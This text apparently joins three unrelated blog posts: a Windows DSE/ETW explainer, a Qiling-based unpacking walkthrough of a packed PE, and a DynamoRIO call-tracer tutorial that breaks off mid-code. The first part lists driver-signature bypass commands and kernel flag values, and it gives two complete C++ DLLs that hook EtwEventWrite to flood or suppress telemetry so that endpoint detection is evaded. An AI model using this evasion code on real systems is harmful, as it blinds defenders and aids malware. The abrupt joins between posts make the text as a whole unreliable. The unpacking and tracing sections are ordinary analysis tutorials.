In this article, I will discuss the details of the Driver Signature Enforcement Policy and Event Tracing for Windows mechanisms, which play an important role on the Windows side for malware. Below, I have touched upon what DSE and ETW are, how they work, and scenarios for manipulating them.

Windows DSE (Driver Signature Policy)

First introduced in Windows Vista, this protection mechanism requires kernel-mode drivers to be signed before they can be loaded. This ensures that only trusted and verified drivers are loaded into the system, thereby preventing malicious software from running at the kernel level. This protection mechanism works in conjunction with signature processes such as Code Integrity (CI), HVCI/Memory Integrity, and Windows Hardware Dev Center.

How Does It Work?

Below, I have added the sequence of logical steps Windows takes before running a driver.

1. The first step before kernel startup is UEFI Secure Boot (unless the machine is very old). Code integrity is attempted throughout the boot chain (Firmware -> Bootloader -> OS Loader -> Windows Kernel). This integrity is ensured by each component verifying the signature of the one preceding it.

2. Once this verification is complete, winload loads the kernel image. This allows the kernel subsystems to load (I/O manager, PnP manager, etc.). The mechanism important to us at this step is Code Integrity (CI). Code Integrity runs within the kernel and its job is to ensure that certain code is verified before it is loaded or executed (kernel images, drivers). This mechanism operates under the following three conditions:

   1. When the kernel image/boot-start drivers are loaded during system boot.

   2. When a new driver is requested to be loaded.

   3. If there is a dynamic policy (changes in Code Integrity), it can perform additional checks at specific times/configurations.

      The Code Integrity mechanism works as follows.

      1. The driver file is located on the disk and a loading request is received by the kernel.

      2. CI checks the signature information (PE signature, catalog .cat, certificate chain) to verify the file's signature.

      3. The certificate chain is verified (checks such as whether the CA that issued the signature is valid and certificate revocation status are performed).

      4. If required by policy, Microsoft's Dev Portal attestation/WHQL/EV requirements are checked.

      5. If verification is successful, the driver is loaded into the kernel address space; if unsuccessful, it is not loaded and a log is generated.

3. The driver file is read from the disk and mapped into the kernel address space. On 64-bit Windows, unsigned kernel-mode code is not loaded. If this fails, the driver is not loaded and an event is written to the Code Integrity logs.

It briefly checks for an Authenticode signature and verifies that it has been approved by Microsoft or a trusted CA, and if valid, allows it to be installed.

The process changes for Windows 10 version 1607 and later. Now, all kernel-mode drivers must be signed by the Microsoft Hardware Developer Center, or an Extended Validation (EV) code signing certificate must be uploaded to and accepted by the Microsoft Dev Center, meaning drivers must definitely go through Microsoft's dev portal.

DSE Bypass

In older versions (Windows 7/8), kernel drivers could be signed with an Extended Validation Code Signing Certificate. This meant you could install your own driver.

However, there are still many DSE bypass methods available. TESTSIGNING Bit, leaked certificates, and Kernel flag manipulation are examples of these methods.

TESTSIGNING Bit bcdedit.exe -set TESTSIGNING ON Secure Boot must be disabled for this method.

Leaked Certificates Old drivers signed before July 29, 2015 are still valid. Leaked certificates from companies such as Dell and VeriSign can be used. Signing with cross-signing certificates is required. signtool sign /f Verisign.pfx /p password /ac MSCV-VSClass3.cer driver.sys

Kernel Flag Manipulation One of the most common methods is changing flags in kernel memory.

• The g_CiOptionsflag (CI!g_CiOptions) is used for Windows 7+: Default value in CI.dll module is 0x06 Bypass value is 0x00

• The g_CiEnabled flag (nt!g_CiEnabled) is used up to Windows 7: Default value in ntoskrnl.exe is 0x01, bypass value is 0x00

Windows has made defense mechanisms more complex by introducing new protection mechanisms such as Virtualization-Based Security (VBS) and Hypervisor-protected Code Integrity (HVCI). Thanks to these techniques, the Kernel now evaluates decisions such as code signature verification in an isolated VSM/secure kernel context. This makes it difficult for an attacker to directly modify kernel memory or bypass DSE by executing unsigned code.

Virtual Secure Mode is a small, isolated secure area running within the Windows hypervisor. It executes important functions (some CI decisions are included here). The kernel now makes decisions based on VSM. This means that some CI decisions have been moved to the secure kernel within VSM. This code and data are isolated from the guest kernel. Manipulations coming from the guest kernel are controlled or rejected by the secure kernel.

Hypervisor-protected Code Integrity This monitors the execute permissions of hypervisor kernel pages and which pages are considered signed. The kernel itself cannot make a page both writable and executable. The hypervisor prevents or requires verification for such changes or execute bit settings. Without this, an attacker gaining ring-0 access could easily write to kernel memory pages and then set the execute bit to run unsigned code.

However, as always, these methods do not provide 100% protection. At the very least, signed but vulnerable drivers can be exploited.

Windows ETW (Event Tracing for Windows)

Windows ETW is a kernel-level event tracing/data collection mechanism. It operates in both kernel and user mode. For example, the process creation chain is a kernel-mode event and is traced by the NT Kernel Logger, while file creation is a user-mode event traced by Sysinternals Sysmon.

ETW consists of three main mechanisms: provider, controller, and consumer.

Controllers

Determines the usage status of providers. It starts a session with StartTrace/EnableTrace and determines which providers will be used in the opened session. This phase occurs step by step as follows: The controller creates a session: The StartTrace() API is called. The kernel goes to the EtwpStartTrace() function and creates a LoggerContext object. The Controller specifies which providers will send logs with which Level/Keyword using EnableTraceEx2(). The session creates ring buffers in the kernel. Providers write events to these buffers. The OpenTrace() and ProcessTrace() APIs read this session on the consumer side.

Provider (Event providers)

In the simplest terms, it is the structure that sends an event that occurs in the system (kernel context switch, file access, registry change, process creation, etc.) to the ETW infrastructure. This structure can be kernel mode or user mode and is defined by specific GUIDs. Kernel mode providers are written to the ETW provider registration table in the kernel using the EtwRegister(Ex) function, while user mode providers are written using the EventRegister function. These providers use the EventWrite function on the user mode side and the EtwWrite function on the kernel side to write events. These events are written to the ring buffer (a fixed-size FIFO in memory). When this buffer fills up, new data overwrites the oldest data. When it needs to be emptied, the buffer is directed to the Consumer.

• Manifest-based providers: Event ID, level, opcode, keyword, and template are defined using XML. The Consumer parses the schema.

• Manifest-less providers: The schema is generated at runtime.

Consumer

This stage is the final link in the chain that listens to/reads events.

• File-based consumer: The .etl file is read using OpenTrace() + ProcessTrace().

• Real-time consumer: OpenTrace() connects with the real-time parameter. Real-time events arrive at the callbacks via ProcessTrace().

Advantages/Disadvantages of ETW

This system handles many events on the kernel side without affecting system performance, and because there are so many providers, a great deal of data can be collected for forensics. We can also perform these operations by writing drivers to collect events on both the kernel and user sides, but writing drivers is much more complex, which makes this task difficult. Additionally, it may be easier for malware to detect. Using ETW, on the other hand, does not burden the system and allows events to be collected with a simpler structure, as mentioned above.

However, the simplicity of the ETW structure also comes with several disadvantages. For example, since providers identify themselves only with specific GUIDs, methods such as GUID spoofing can be used to create chaos in the system, kernel flags can be changed to manipulate sessions, or functions used in the ETW mechanism, such as EtwEventWrite, can be easily hooked to circumvent this mechanism.

At this point, ETW's self-protection mechanisms are quite inadequate. Since EDRs monitor event logs, malware can exploit these weaknesses in ETW to evade EDRs.

ETW Abuse Scenarios

As mentioned above, there are many abuse scenarios on both the provider and controller sides. The simplest of these is the event noise technique. Since these logs will ultimately be interpreted by a human or an agent, writing fake events makes the other side's job considerably more difficult.

#include <windows.h>
#include <evntprov.h>
#include <stdio.h>
#include <vector>
#include <random>

#pragma comment(lib, "ntdll.lib")

typedef ULONG(WINAPI* pEtwEventWrite)(
    REGHANDLE RegHandle,
    PCEVENT_DESCRIPTOR EventDescriptor,
    ULONG UserDataCount,
    PEVENT_DATA_DESCRIPTOR UserData
);

pEtwEventWrite g_EtwEventWrite = nullptr;
std::vector<EVENT_DESCRIPTOR> g_NoiseEvents;

ULONG WINAPI MyEtwEventWrite(
    REGHANDLE RegHandle,
    PCEVENT_DESCRIPTOR EventDescriptor,
    ULONG UserDataCount,
    PEVENT_DATA_DESCRIPTOR UserData
) {
    std::random_device rd;
    std::mt19937 gen(rd());
    std::uniform_int_distribution<> countDist(100, 200);
    int count = countDist(gen);

    for (int i = 0; i < count; ++i) {
        std::uniform_int_distribution<> idxDist(0, g_NoiseEvents.size() - 1);
        const EVENT_DESCRIPTOR& desc = g_NoiseEvents[idxDist(gen)];
        g_EtwEventWrite(RegHandle, &desc, 0, nullptr);
    }

    return ERROR_SUCCESS;
}

LONG WINAPI VectoredHandler(PEXCEPTION_POINTERS ExceptionInfo) {
    if (ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_GUARD_PAGE_VIOLATION) {
        if ((void*)ExceptionInfo->ContextRecord->Rip == g_EtwEventWrite) {
            ExceptionInfo->ContextRecord->Rip = (DWORD64)&MyEtwEventWrite;

            DWORD oldProtect;
            VirtualProtect(g_EtwEventWrite, 1, PAGE_EXECUTE_READ | PAGE_GUARD, &oldProtect);
            return EXCEPTION_CONTINUE_EXECUTION;
        }
    }
    return EXCEPTION_CONTINUE_SEARCH;
}

void SetupHook() {
    HMODULE hNtdll = GetModuleHandleW(L"ntdll.dll");
    g_EtwEventWrite = (pEtwEventWrite)GetProcAddress(hNtdll, "EtwEventWrite");

    DWORD oldProtect;
    VirtualProtect(g_EtwEventWrite, 1, PAGE_EXECUTE_READ | PAGE_GUARD, &oldProtect);

    AddVectoredExceptionHandler(1, VectoredHandler);

    OutputDebugStringA("[ETW HOOK] Hook installed.\n");
}

void InitNoiseEvents() {
    for (int i = 0; i < 1000; ++i) {
        g_NoiseEvents.push_back({ (USHORT)(2000 + i), 1, 0, 4, 10, 10, 0x0000000000000001ULL });
    }
    for (int i = 0; i < 500; ++i) {
        g_NoiseEvents.push_back({ (USHORT)(3000 + i), 1, 0, 4, 1, 20, 0x0000000000000010ULL });
    }
    for (int i = 0; i < 300; ++i) {
        g_NoiseEvents.push_back({ (USHORT)(4000 + i), 1, 0, 4, 15, 30, 0x0000000000000080ULL });
    }
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved) {
    if (fdwReason == DLL_PROCESS_ATTACH) {
        DisableThreadLibraryCalls(hinstDLL);
        InitNoiseEvents();
        SetupHook();
    }
    return TRUE;
}

This code is a simple ETW noise code, and when loaded and run with a loader, it generates hundreds of fake logs.

As another abuse technique, we can hook the EtwWrite function with the following code and send a fake etw message.

#include <windows.h>
#include <evntprov.h>
#include <stdio.h>

#pragma comment(lib, "ntdll.lib")

typedef ULONG(WINAPI* pEtwEventWrite)(
    REGHANDLE RegHandle,
    PCEVENT_DESCRIPTOR EventDescriptor,
    ULONG UserDataCount,
    PEVENT_DATA_DESCRIPTOR UserData
);

void* g_EtwEventWrite = nullptr;

ULONG WINAPI MyEtwEventWrite(
    REGHANDLE RegHandle,
    PCEVENT_DESCRIPTOR EventDescriptor,
    ULONG UserDataCount,
    PEVENT_DATA_DESCRIPTOR UserData
) {
    OutputDebugStringA("[ETW HOOK] fake etw message\n");
    return 0;
}

LONG WINAPI VectoredHandler(PEXCEPTION_POINTERS ExceptionInfo) {
    if (ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_GUARD_PAGE_VIOLATION) {
        if ((void*)ExceptionInfo->ContextRecord->Rip == g_EtwEventWrite) {
            ExceptionInfo->ContextRecord->Rip = (DWORD64)&MyEtwEventWrite;

            DWORD oldProtect;
            VirtualProtect(g_EtwEventWrite, 1, PAGE_EXECUTE_READ | PAGE_GUARD, &oldProtect);
            return EXCEPTION_CONTINUE_EXECUTION;
        }
    }
    return EXCEPTION_CONTINUE_SEARCH;
}

void SetupHook() {
    HMODULE hNtdll = GetModuleHandleW(L"ntdll.dll");
    g_EtwEventWrite = GetProcAddress(hNtdll, "EtwEventWrite");

    DWORD oldProtect;
    VirtualProtect(g_EtwEventWrite, 1, PAGE_EXECUTE_READ | PAGE_GUARD, &oldProtect);
    AddVectoredExceptionHandler(1, VectoredHandler);

    OutputDebugStringA("[ETW HOOK] Hook installed.\n");
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved) {
    if (fdwReason == DLL_PROCESS_ATTACH) {
        DisableThreadLibraryCalls(hinstDLL);
        SetupHook();
    }
    return TRUE;
}

When we run this code with a simple loader, we get the following output.

Introduction

In this blog post, we have a packed PE file. We will analyze it and unpack it with Qiling Framework. Once you understand how encryption works, I will explain more about Qiling. In this article we will use Cutter for analysis and Ghidra for decompile (included in Cutter).

Analysis

Detect It Easy

The first thing I would do for analysis is to scan the file into Detect It Easy. On the Detect It Easy screen, it says that it contains the usual protections. But we know that Sample doesn’t. To investigate why, I’ll look at how Detect It Easy does this.

PE: protector: PELock(-)[-]
PE: protector: Unopix(0.94)[-]
PE: linker: Microsoft Linker(14.33**)[EXE32,console]

In fact, it is not difficult to understand how he did it. When we switch to the Signatures tab, we see that all kinds of identifiable things have rules. Here we need to look at PELock. This signature name is PELock.2 and code is below:

function detect(bShowType,bShowVersion,bShowOptions)
{
    if(PE.getNumberOfImports()==1)
    {
        if((PE.isLibraryFunctionPresent("KERNEL32.DLL", "LoadLibraryA"))!=-1&&
           (PE.isLibraryFunctionPresent("KERNEL32.DLL", "VirtualAlloc"))!=-1)
        {
            if(PE.getNumberOfResources()>=1)
            {
                if(PE.getNumberOfSections()>=4)
                {
                    if((PE.getSectionName(0)==PE.getSectionName(1))&&(PE.getSectionName(0)==PE.getSectionName(3)))
                    {
                        bDetected=1;
                    }
                }
            }
        }
    }
    return result(bShowType,bShowVersion,bShowOptions);
}

The first thing it does is that there is “only” kernel32.dll on the Import Table. Secondly, does it have LoadLibraryA and VirtualAlloc? Thirdly, it checks the number of Resources and Sections and checks if some of the section names are equal to each other.

The Unopix protection (first time I’ve seen it) works like this:

function detect(bShowType,bShowVersion,bShowOptions)
{
    var nLastSection=PE.nLastSection;
    if(nLastSection>=2)
    {
        var nVirtualSize=PE.section[nLastSection].VirtualSize;
        if(nVirtualSize==0x1000)
        {
            var nRawSize=PE.section[nLastSection].FileSize;
            if(nVirtualSize==nRawSize)
            {
                var nFlags=PE.section[nLastSection].Characteristics;
                if((nFlags==0xe0000040)&&(PE.section[nLastSection].Name!=".!ep"))
                {
                    sVersion="0.94";
                    bDetected=1;
                }
            }
        }
    }
    return result(bShowType,bShowVersion,bShowOptions);
}

I will not explain what he did because it is very clear. Summary: PELock and Unopix(?) show undesirable results in Detect It Easy because they display a similar representation. What I mainly want to do here is to compare EntryPoint and Sections in PE Info by pressing the PE button. I will find the place in Section that matches the address we see in AddressOfEntryPoint (00022000).

If we look at the virtual address of the section named .shell, we will see that it matches the entrypoint.

Packer Basics

There are many sources written about this. But it would be wrong to start the analysis without writing about it. Most packers work the same way. To simplify our interpretation, I will first briefly explain how they work. Packer encrypts the .text section containing executable code. It then inserts a new section into the file and changes the Entry Point accordingly. The new section does the decryption of the encrypted section (unpacking). The decrypted codes are then executed in memory.

For example, the data encryption function of the packer we analyzed:

// Encrypt the load segment and transformed import table.
EncryptData(load_seg_base, load_seg_size + new_imp_table_size);
//-----------------------------------------------------------
void EncryptData(BYTE* const base, const DWORD size) {
    if (size == 0) {
        return;
    }
    assert(base != NULL);

    for (DWORD i = 0; i != size; ++i) {
        base[i] += 0xCC;
    }
}

My goal in this article is not to dump in an executable way (i.e. I will not fix the IAT table after dumping). After Decryption with Qiling, we will take a look at the sections. For example, an image of a sample partition before it is unpacked:

After unpacking:

Static Analysis

We already knew that the file was encrypted by the deletion of the partition names. The entry point of the file we have is redirected to the address of the partition named .shell . After opening the Cutter, we already see one function in the functions section and we start to analyze it. This is what we will see on the graph when we open the file on Cutter (in read mode):

I will use Ghidra since it is more difficult to interpret such packing operations in assembly. Once we figure out how it works, we can use x32dbg and Scylla.

We will see while debugging, but there are some things I want to report first. Structures like [ebp + 24] that we see in assembly commands are local variables defined at the beginning of the program. Local variable definition:

;-- (0x0042202e) GetProcAddress:
0x0042202d      add     byte [ebx + 0x20], cl
0x00422030      .dword 0x205c0002
;-- GetModuleHandleA:
0x00422032      .dword 0x0002205c ; reloc.Kernel32.dll_GetModuleHandleA
;-- LoadLibraryA:
0x00422036      .dword 0x0002206f ; reloc.Kernel32.dll_LoadLibraryA

For example, we see that the packer initially uses the following commands to access some Windows APIs:

; Get the address of VirtualAlloc API.
lea     esi, [ebp + (dll_name - boot_seg_begin_lbl)]
push    esi
call    dword ptr [ebp + (second_thunk - boot_seg_begin_lbl)]
lea     esi, [ebp + (virtual_alloc_name - boot_seg_begin_lbl)]
push    esi
push    eax
call    dword ptr [ebp + (first_thunk - boot_seg_begin_lbl)]
mov     dword ptr [ebp + (virtual_alloc_addr_boot - boot_seg_begin_lbl)], eax

In Disassemble code:

0x004220c1  lea  esi, [ebp + 0x9e]
0x004220c2  mov  ch, 0x9e   ; 158
0x004220c4  add  byte [eax], al
0x004220c6  add  byte [esi + 0x50], dl
0x004220c9  call dword [ebp + 0x2e] ; 46
0x004220cc  mov  dword [ebp + 0xab], eax

uint64_t entry0(void)
{
    uint8_t uVar1;
    int32_t iVar2;
    char *pcVar3;
    char *pcVar4;
    uint64_t uVar5;

    // [09] -rwx section size 4096 named .shell

    (*_GetModuleHandleA)();
    *(code **)0x4220ab = (code *)(*_GetProcAddress)();
    *(int32_t *)0x4220af = (**(code **)0x4220ab)();
    // WARNING: Call to offcut address within same function

    func_0x00422129();
    *(int32_t *)0x422125 = *(int32_t *)0x4220af + -0x422129;
    uVar5 = (*(code *)0x0)();
    uVar1 = in((int16_t)(uVar5 >> 0x20));
    pcVar3 = *(char **)0x422008;
    pcVar4 = *(char **)0x42200c;
    for (iVar2 = *(int32_t *)0x422010; iVar2 != 0; iVar2 = iVar2 + -1) {
        *pcVar4 = *pcVar3 + '4';
        pcVar3 = pcVar3 + 1;
        pcVar4 = pcVar4 + 1;
    }
    return uVar5 & 0xffffffff00000000 | (uint64_t)((uint32_t)uVar5 & 0xffffff00 | (uint32_t)uVar1);
}

The code is missing, some parts are not interpreted as functions, so the decompiler cannot detect them. Junk code added in the packer also shows the decompiler as broken, for example the function func_0x00422129. So let’s try to go through disassembly.

Our goal here is to dump the software from memory after decrypting the sections. So we will examine the decrypt instructions on disassembly.

;  DecryptData proc    src: dword, dest: dword, count: dword
0x0042212c  pushal
0x0042212d  mov   ecx, dword [ebp + 0x10]   ;count
0x00422130  mov   esi, dword [ebp + 8]  ;src
0x00422133  mov   edi, dword [ebp + 0xc] ;dest
0x00422136  jmp   0x42213d
0x00422138  lodsb al, byte [esi]
0x00422139  sub   al, 0xcc   ; 204
0x0042213b  stosb byte es:[edi], al
0x0042213c  dec   ecx
0x0042213d  or    ecx, ecx
0x0042213f  jne   0x422138

This part does the opposite of the EncryptData() function. The reason why this function is executed several times is that all data is encrypted with the same function.

Ok, our goal here is to dump the partitions from memory immediately after the decrypt procedure. Actually unpacking exactly is very easy with Qiling. But I won’t go into IAT rebuild in this article. And here is the function that decrypts the sections:

; DecryptSections
mov edx, 0x22B   ; ptr ORIGIN_PE_INFO
add edx, ebp
lea edx, dword ptr ds:[edx + 0x10] ; [edx].section_encry_info
mov eax, dword ptr ds:[edx] ; eax = [edx].sec_rva
jmp 0x9500C0
mov esi, dword ptr ss:[ebp + 0x45B]
add esi, eax
mov edi, esi
mov ecx, dword ptr ds:[edx + 0x4]  
push ecx
push edi
push esi
call dword ptr ss:[ebp + 0x457]
add edx, 0x8
mov eax, dword ptr ds:[edx]
or eax, eax
jne 0x9500A5

typedef struct _ORIGIN_PE_INFO {
    //! The offset, relative to the shell.
    DWORD entry_point;
    //! The offset of the original import table, relative to the load segment.
    DWORD imp_table_offset;
    //! The relative virtual address of the relocation table.
    DWORD reloc_table_rva;
    //! The image base.
    VOID* image_base;
    //! The encryption information of sections, up to 0x40 sections and a blank structure.
    ENCRY_INFO section_encry_info[MAX_ENCRY_SECTION_COUNT + 1];
} ORIGIN_PE_INFO;

If we analyze it dynamically on x32dbg. We see that after decrypting the data, it jumps to [ebp+0xAF] which it stores locally. Here are the codes that decrypt the sections.

008F20E3 | 6A 00          | push 0x0                       
008F20E5 | FF95 AB000000  | call dword ptr ss:[ebp+0xAB]   
008F20EB | 8985 AF000000  | mov dword ptr ss:[ebp+0xAF],eax
........

Automate Unpacking with Qiling Framework

In this section we will see some of the functions in the Qiling Framework and then we will develop a software that automatically decodes and dump partitions. Since most API implementations of the Qiling Framework on Windows are missing, I will also show how to hook some functions (I may even post a PR for them later).

First, let’s take a look at what exactly the Qiling Framework is.

Qiling Framework Structure

Unicorn is a CPU emulator. It is simply a framework that can only emulate processor instructions. Qiling is a high-level framework that covers that too and can even emulate operating system files. Based on this information, when we look at the structure of the Qiling project on GitHub, we see several features implemented in detail.

For example, most famous file structures are defined in the loader folder:

qiling\qiling\loader
qiling\qiling\loader\macho_parser
qiling\qiling\loader\__init__.py
qiling\qiling\loader\blob.py
qiling\qiling\loader\dos.py
qiling\qiling\loader\elf.py
qiling\qiling\loader\evm.py
qiling\qiling\loader\loader.py
qiling\qiling\loader\macho.py
qiling\qiling\loader\mcu.py
qiling\qiling\loader\pe_uefi.py
qiling\qiling\loader\pe.py

This folder is important. Because we are going to implement some unimplemented windows apis using the pe.py file here. I will give a small spoiler. For example, we will use the Process structure in pe.py to emulate the GetModuleHandleA function.

class Process:
    # let linter recognize mixin members
    cmdline: bytes
    pe_image_address: int
    stack_address: int
    stack_size: int

    dlls: MutableMapping[str, int]
    import_address_table: MutableMapping[str, Mapping]
    import_symbols: MutableMapping[int, Dict[str, Any]]
    export_symbols: MutableMapping[int, Dict[str, Any]]
    libcache: Optional[QlPeCache]

    def __init__(self, ql: Qiling):
        self.ql = ql
# ...

There is an os folder to emulate other specific features of operating systems. Within the folder, there are similar features between operating systems, as well as separate files containing specific features.

qiling\qiling\os\windows
qiling\qiling\os\windows\dlls
qiling\qiling\os\windows\__init__.py
qiling\qiling\os\windows\api.py
qiling\qiling\os\windows\clipboard.py
qiling\qiling\os\windows\const.py
qiling\qiling\os\windows\fiber.py
qiling\qiling\os\windows\fncc.py
qiling\qiling\os\windows\handle.py
qiling\qiling\os\windows\registry.py
qiling\qiling\os\windows\structs.py
qiling\qiling\os\windows\thread.py
qiling\qiling\os\windows\utils.py
qiling\qiling\os\windows\wdk_const.py
qiling\qiling\os\windows\windows.py

Of course, the processors have an arch folder to make the necessary adjustments before the emulation process. It contains implementations of many versions. For example x86.py:

from functools import cached_property

from unicorn import Uc, UC_ARCH_X86, UC_MODE_16, UC_MODE_32, UC_MODE_64
from capstone import Cs, CS_ARCH_X86, CS_MODE_16, CS_MODE_32, CS_MODE_64
from keystone import Ks, KS_ARCH_X86, KS_MODE_16, KS_MODE_32, KS_MODE_64

from qiling.arch.arch import QlArch
from qiling.arch.msr import QlMsrManager
from qiling.arch.register import QlRegisterManager
from qiling.arch import x86_const
from qiling.const import QL_ARCH, QL_ENDIAN

class QlArchIntel(QlArch):
    @property
    def endian(self) -> QL_ENDIAN:
        return QL_ENDIAN.EL

    @cached_property
    def msr(self) -> QlMsrManager:
        """Model-Specific Registers.
        """

        return QlMsrManager(self.uc)
# ...

Unpacker Script

First, let us explain our purpose. We can’t read the chapters because of the encrypted data. For this, we will dump the partitions after they are decrypted. After running the function that decrypts the partitions, it is enough to run the dump_memory_region function.

Since the starting addresses of the functions in the assembly are loaded into local variables to be executed, we must first analyze this. After initializing on x32dbg I find where the decrypt function is loaded.

mov eax,0x7E
add eax,ebp
push dword ptr ds:[eax+0x4]
push 0x0
call dword ptr ss:[ebp+0xAB]
mov dword ptr ss:[ebp+0xAF],eax

Our target value is [EBP + 0xAF]

Only after running these parts (the addresses are known) I will change the EIP and redirect it to the address I want.

pop ebp
sub ebp, 0x6
lea esi,dword ptr ss:[ebp + 0x3E]
.......................
.......................
jmp testfile-packed.EA213D
lodsb 
sub al, 0xCC
stosb 
dec ecx
or ecx, ecx
jne testfile-packed.EA2138
popad 
leave 
ret 0xC

Python Code:

from qiling import *    
from qiling.const import QL_VERBOSE

def dump_memory_region(ql, address, size):
    try:
        excuted_mem = ql.mem.read(address, size)
    except Exception as err:
        print('Unable to read memory region at address: {}. Error: {}'.format(hex(address), err))
        return
    print("Dumped")
    with open("unpacked_"+hex(address)+".bin", "wb") as f:
        f.write(excuted_mem)

exeFile = "testFile-packed.exe"
ql = Qiling(["testFile-packed.exe"], "qiling/examples/rootfs/x86_windows")

ql.run(end=0x00422143)

test = ql.arch.regs.read("EBP") + 0xaf # test = EBP + 0xaf
xxxx = ql.mem.read(test, 0x4) # address = [EBP + 0xaf]

print("[EBP + 0xAF]: ", hex(int.from_bytes(xxxx, byteorder='little')))

address = int.from_bytes(xxxx, byteorder='little')

ql.arch.regs.arch_pc = address
ql.arch.regs.eip = address
ql.run()

dump_memory_region(ql, 0x00419000, 0x100)

Output:

utku%> python main.py
[=]     Initiate stack address at 0xfffdd000
[=]     Loading testFile-packed.exe to 0x400000
[=]     PE entry point at 0x422000
[=]     TEB is at 0x6000
[=]     PEB is at 0x61b0
[=]     LDR is at 0x6630
[=]     Loading ntdll.dll ...
[=]     Done loading ntdll.dll
[=]     Loading kernel32.dll ...
[=]     Loading kernelbase.dll ...
[=]     Done loading kernelbase.dll
[=]     Done loading kernel32.dll
[=]     Loading ucrtbase.dll ...
[=]     Calling ucrtbase.dll DllMain at 0x10298260
[=]     GetSystemTimeAsFileTime(lpSystemTimeAsFileTime = 0xffffcfcc)
[x]     Error encountered while running ucrtbase.dll DllMain, bailing
[=]     Done loading ucrtbase.dll
[=]     GetModuleHandleA(lpModuleName = "Kernel32.dll") = 0x6b800000
[=]     GetProcAddress(hModule = 0x6b800000, lpProcName = "VirtualAlloc") = 0x6b8181b0
[=]     VirtualAlloc(lpAddress = 0, dwSize = 0xe0d, flAllocationType = 0x3000, flProtect = 0x40) = 0x50006f8
[EBP + 0xAF]:  0x50006f8
[=]     GetModuleHandleA(lpModuleName = "Kernel32.dll") = 0x6b800000
[=]     GetProcAddress(hModule = 0x6b800000, lpProcName = "VirtualAlloc") = 0x6b8181b0
[=]     VirtualAlloc(lpAddress = 0, dwSize = 0xe0d, flAllocationType = 0x3000, flProtect = 0x40) = 0x5001505

Dumped

Introduction

In this blog post, I’ll explain how to trace and manipulate a program with DynamoRIO. I’ll use a simple program to explain the concepts (Source code is below this post).

DynamoRIO Basics

What is DynamoRIO

DynamoRIO is a dynamic binary instrumentation framework. It is a tool that can be used to very purposes but we’ll use it for tracing and manipulating and It’s open source, can be found on GitHub.

from DynamoRIO’s website:

DynamoRIO is a runtime code manipulation system that supports code transformations on any part of a program, while it executes. DynamoRIO exports an interface for building dynamic tools for a wide variety of uses: program analysis and understanding, profiling, instrumentation, optimization, translation, etc. Unlike many dynamic tool systems, DynamoRIO is not limited to insertion of callouts/trampolines and allows arbitrary modifications to application instructions via a powerful IA-32/AMD64/ARM/AArch64 instruction manipulation library. DynamoRIO provides efficient, transparent, and comprehensive manipulation of unmodified applications running on stock operating systems (Windows, Linux, or Android, with experimental Mac support) and commodity IA-32, AMD64, ARM, and AArch64 hardware.

DynamoRIO presented by Derek L. Bruening with a whitepaper at 2004 September. It’s a very old project but still maintained and developed. This whitepaper title is “Efficient, Transparent, and Comprehensive Runtime Code Manipulation”. At the beginning of the article they explain their goals and then they explain how DynamoRIO simply works. We need to use this library when writing any client. It contains the main functions that DynamoRIO will run on the client.

How it Works

DynamoRIO interposes itself between an application and the underlying operating system and hardware. It executes a copy of the application’s code out of a code cache to avoid emulation overhead.

Code Cache

We will do all of our work in the Code Cache section. Therefore, that is the point I want to specifically mention. With the “Code Cache” technology specially designed in DynamoRIO, we can monitor and modify each instruction before it runs. DynamoRIO creates a special section called Code Cache. DynamoRIO has got full authority over this section.

The code cache enables native execution to replace emulation, bringing performance down from a several hundred times slowdown for pure emulation to an order of magnitude.

Instrumented application’s instructions is keep in Code Cache as “basic block”.
In fact, every structure in DynamoRIO is very detailed. But I want to go directly to the application part without explaining the details too much.

Call Tracing with DynamoRIO

We have got a very basic example application for tracing. Source code:

int main()
{
    if (IsDebuggerPresent()) {
        std::cout << "uppss debugger detected\n";
        exit(0);
    }
    std::cout << "Hello World!\n";
    char merhaba[6] = "hello";
    LPCWSTR filepath = L"hello.txt";
    WriteToFile(merhaba, filepath);
}

Libraries

Let’s make a tracer with DynamoRIO’s basic functions. Firstly, we need DynamoRIO’s libraries so i’ll include these on my project.

#include "dr_api.h"
#include "drmgr.h"
#include "utils.h"

utils.h need for logging operations never mind it. dr_api.h we need to use this library when writing any client. It contains the main functions that DynamoRIO will run on the client. drmgr.h multi instrumentation library that contains functions to manage basic block operations and instruction operations.

Interface Functions

Now we will define the 4 functions we need to define in the basic structure of the client. Thread init and exit, client exit (event exit) and the function that manages basic blocks.

static void event_exit(void);
static void event_thread_init(void *drcontext);
static void event_thread_exit(void *drcontext);
static dr_emit_flags_t event_app_instruction(void *drcontext, void *tag, instrlist_t *bb, instr_t *instr,
                      bool for_trace, bool translating, void *user_data);

Ok, now we can write the dr_client_main function which is the EntryPoint of the application. In this function we will save the event functions we defined before.

DR_EXPORT void dr_client_main(client_id_t id, int argc, const char *argv[])
{
    call_from = true;
    dr_set_client_name("Maestro - API Tracer by rhotav",
                       "https://0xreverse.com");
    drmgr_init();
    dr_fprintf(STDERR, "Scope: %s\n", dr_get_application_name());
    my_id = id;
    dr_log(NULL, DR_LOG_ALL, 1, "Client 'maestro' initializing\n");

#ifdef SHOW_RESULTS
    if (dr_is_notify_on()) {
        dr_fprintf(STDERR, "Client maestro is running\n");
    }
#endif

    dr_register_exit_event(event_exit);
    drmgr_register_bb_instrumentation_event(NULL, event_app_instruction, NULL);
    drmgr_register_thread_init_event(event_thread_init);
    drmgr_register_thread_exit_event(event_thread_exit);
    tls_idx = drmgr_register_tls_field();
    DR_ASSERT(tls_idx > -1);
}

static void event_exit(void)
{
    drmgr_unregister_tls_field(tls_idx);
    drmgr_exit();
}

static dr_emit_flags_t
event_app_instruction(void *drcontext, void *tag, instrlist_t *bb, instr_t *instr,
                      bool for_trace, bool translating, void *user_data)
{
    if (instr_is_call_indirect(instr)) {
        dr_insert_mbr_instrumentation(drcontext, bb, instr, (app_pc)at_call_ind,
                                      SPILL_SLOT_1);
    } 
    return DR_EMIT_DEFAULT;
}

event_app_instruction: This function is intercept all instruction at runtime. Our goal is to show the user ONLY where the CALL instructions in the target application make calls (except system dlls). For this, we need to write a function that will execute every time a CALL instruction is caught.

// PFX = "%p"
static void print_address(file_t f, app_pc addr, const char *prefix)
{
    drsym_error_t symres;
    drsym_info_t sym;
    char name[MAX_SYM_RESULT];
    char file[MAXIMUM_PATH];
    module_data_t *data;
    data = dr_lookup_module(addr);
